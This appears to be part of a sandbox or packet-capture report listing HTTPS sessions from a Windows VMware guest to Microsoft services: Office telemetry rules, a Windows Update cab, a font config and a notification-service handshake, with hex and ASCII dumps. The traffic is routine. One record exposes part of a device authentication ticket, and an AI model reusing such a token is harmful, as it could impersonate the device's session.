2024-12-07 21:40:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:23 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: b569e8fb-501e-008c-5305-48cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214023Z-r1cf579d778t6txphC1EWRsd4400000003w0000000008v0z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:23 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 682fb484-401e-0083-5904-48075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214023Z-r1cf579d778dndrdhC1EWR4b24000000031g000000007vkq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49740	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:23 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 69 63 30 35 77 47 77 2f 45 30 75 58 66 69 41 53 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 30 65 30 33 37 38 35 31 32 63 61 30 38 30 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: ic05wGw/E0uXfiAS.1Context: 20e0378512ca0800
2024-12-07 21:40:23 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-07 21:40:23 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 69 63 30 35 77 47 77 2f 45 30 75 58 66 69 41 53 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 30 65 30 33 37 38 35 31 32 63 61 30 38 30 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 57 32 44 68 6f 47 6b 59 77 72 38 64 69 4b 58 77 48 48 44 30 32 62 63 6a 78 47 39 4b 48 68 56 47 71 38 55 61 73 44 36 6c 49 68 6b 43 53 5a 7a 32 62 52 4d 7a 79 49 38 43 4c 66 37 73 4a 53 51 73 46 58 33 51 6c 6c 4d 46 34 2b 7a 49 37 39 6b 35 74 56 38 78 4a 66 59 69 72 41 68 4d 70 49 72 55 2f 69 76 55 63 4f 56 65 4f 66 7a 42 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: ic05wGw/E0uXfiAS.2Context: 20e0378512ca0800<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaW2DhoGkYwr8diKXwHHD02bcjxG9KHhVGq8UasD6lIhkCSZz2bRMzyI8CLf7sJSQsFX3QllMF4+zI79k5tV8xJfYirAhMpIrU/ivUcOVeOfzB
2024-12-07 21:40:23 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 69 63 30 35 77 47 77 2f 45 30 75 58 66 69 41 53 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 30 65 30 33 37 38 35 31 32 63 61 30 38 30 30 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: ic05wGw/E0uXfiAS.3Context: 20e0378512ca0800
2024-12-07 21:40:24 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-07 21:40:24 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 67 77 66 63 6e 54 46 65 4c 45 71 4f 4a 53 72 5a 4a 70 70 73 4f 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: gwfcnTFeLEqOJSrZJppsOA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49749	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:23 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=TyDlpBOuBMC4KnB&MD=cRlZhfaz HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-07 21:40:24 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: d7ef483b-9a8a-406e-8345-41a4b2e4f38d MS-RequestId: b82875e2-2dca-4ea8-8d68-7001388b4647 MS-CV: TxB4AoccQEG6G8lN.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 07 Dec 2024 21:40:23 GMT Connection: close Content-Length: 24490
2024-12-07 21:40:24 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-12-07 21:40:24 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49751	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:23 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-07 21:40:24 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=173173 Date: Sat, 07 Dec 2024 21:40:23 GMT Content-Length: 55 Connection: close X-CID: 2
2024-12-07 21:40:24 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:25 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:25 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 3bfd724e-501e-0016-6705-48181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214025Z-r1cf579d7788pwqzhC1EWRrpd800000003sg0000000049n7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:25 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:25 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 1f14184f-601e-0050-3802-482c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214025Z-r1cf579d778lntp7hC1EWR9gg400000002wg000000006fk7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:25 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:25 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 229463e4-b01e-0021-2a03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214025Z-r1cf579d7784wpmvhC1EWRk4cn000000031g000000000x76 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:25 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:25 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:25 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: ad3e0835-e01e-0033-5701-484695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214025Z-r1cf579d778v97q7hC1EWRf95c00000003500000000031tf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:25 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:25 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:25 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: fff301c7-601e-0097-4606-48f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214025Z-r1cf579d77867vg8hC1EWR8knc00000003a0000000005bqu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
